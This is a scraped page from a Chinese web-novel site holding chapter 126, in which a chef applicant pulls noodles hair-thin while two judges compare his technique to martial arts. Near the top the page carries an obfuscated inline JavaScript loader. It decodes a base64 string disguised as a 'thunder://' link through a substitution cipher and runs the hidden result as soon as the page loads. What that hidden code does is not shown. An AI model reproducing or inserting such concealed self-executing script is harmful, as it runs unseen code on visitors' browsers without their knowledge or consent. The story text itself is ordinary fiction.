当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第一百二十六章 拽面与武术(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

苗若瑄面对钟凌羽和谢小鱼的言语加攻,只有苦笑的份。在美食界,苗若瑄还是有自知之明的,毕竟人家两位才是烹饪高手,而自己只不过是负责管理的,所以在烹饪方面,自己还是没有什么发言权的。

不过钟凌羽和谢小鱼的言词,却也让苗若瑄心里免不了一阵嘀咕,甚至还有些对秋桐这清汤面的一份期待了。

就是嘛,虽然说钟凌羽和谢小鱼现在在美食界还不算是什么名人,但是苗若瑄却对他们厨艺的层次水平是很了解的,苗若瑄甚至可以断定,要不了多久,这俩人就可以在美食界大放异彩,成为万众瞩目的美食界新星。

这两位都对秋桐如此简单的和面有这么高的赞誉了,那苗若瑄能不嘀咕,能不对这秋桐的清汤面有所期待吗?

苗若瑄干脆也不吭声了,就目不转睛盯着秋桐,心里也就默默开始期待这清汤面尽快出炉。

几个人说话的当,这秋桐居然就已经极速的开始擀面,而且那么老大的擀面杖,在他手里就跟孩子的玩具一样,唰唰的,玩起来那叫一个顺手,叫一个娴熟。

秋桐和面的时候不慌不忙,而擀起面来动作极快,擀两下之后,顺手就把面团再次糅合到一起,然后再次快速的擀。反复N次之后,这套工序总算结束。

接下来秋桐就开始拽面。

拽面,很简单的工序,千万万的家庭主妇都会,更别提专业的厨师了。不过这拽面也是有讲究的,最基本的,这面肯定是不能断。而且,大多拽面的比试当中,都是会以拽面的细度为精彩点来断论。

秋桐拽面的动作也很娴熟,如流星一般,没有任何拖泥带水的迹象,那叫一个利索,苗若瑄其实并不会拽面,但是她起码也见过不少厨师拽面,就她所见过的所有人来说,秋桐的动作是最利索的,而且,也是最漂亮的一个。

苗若瑄不明白,这都是拽面,为什么看秋桐的动作却有一种欣赏的感觉。她也只是看的出来秋桐拽面的动作和别的厨师有所不同,却也说不出来到底哪里不同。于是她忍不住了,只好请教身边这两位美食家了。

钟凌羽闻声,耐心解释道:“因为秋桐有无数的底子,他把拽面的这道工序中糅合进了武术的套路和基本功,所以他的动作才会看起来特别干净,特别利索。苗姐,你看过武术表演吧,那些武术家,打拳,出腿,都特别干净漂亮,就是因为他们刻苦锻炼之后,打出拳头的路线是最短的,最快的,加上他们肌肉的配合,加上出拳发力的巧妙,所以才会那么干脆,那么漂亮,而且力度也会大很多,能把敌人一招制敌。”

苗若瑄听的一头雾水,又苦笑了起来,说道:“这说着拽面,你怎么就又扯到武术上面去了。”

“哈哈。”钟凌羽失声笑道:“其实我对武术也只能说是一知半解,理论上懂得东西不是很多。你就将就着听,将就着理解好了,哈哈。”

苗若瑄哭笑不得,只好说道:“反正就看秋桐的面好吃与否了。”

谢小鱼忍不住笑道:“他做的味道我还不敢百分百说一定好,但他拽出来的面,绝对劲道,这个百分百可以肯定。”

苗若瑄又差点脱口问为什么,可她一想,估计问了,这对活宝又得把这事儿扯到武术上面去,搞的这好端端的厨师应聘,好像成了武术评论会似的,实在是让人哭笑不得,无言以对。于是苗若瑄干脆闭嘴,也不问了,静等结果就是了。

秋桐这边已经开始进入拽面的最后工序,开始把面拽成一根一根的形状,而这时候,就要看他想把面拽成什么样的细度了。这面要想拽的更细,那到后面的难度自然是不言而喻的,但是对于清汤面来说,就是越细才会越好。

所以对于秋桐可以把面拽到多细,钟凌羽和谢小鱼也很是期盼,甚至希望这位秋桐应聘者,可以创造出一个让他们两个人啧啧称奇的奇迹出来。

这时候秋桐手里的抓面,已经成了指头粗细。

五分钟以后,细了一半。就好像兰州拉面那种。这种细度其实已经不错了,但是对于清汤寡水的清汤面来说,还不行,因为那样很容易让人觉得面没有一点点的味道。要知道清汤面不是说就是没有味,而应该是清淡到让人觉得很美的味道才对。要是面太粗的话,那清汤的味道,就很难入到面里,那时候就算面再劲道,也对味道无济于事了。

又是十分钟过去。

全场的人已经开始暗暗惊讶。因为秋桐手里的面,已经成了发丝。

这对于烹饪并不了解的人,对于没有见过拽面的高手来说,其实这种程度的细度,就已经足以让他们惊叹不已了。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间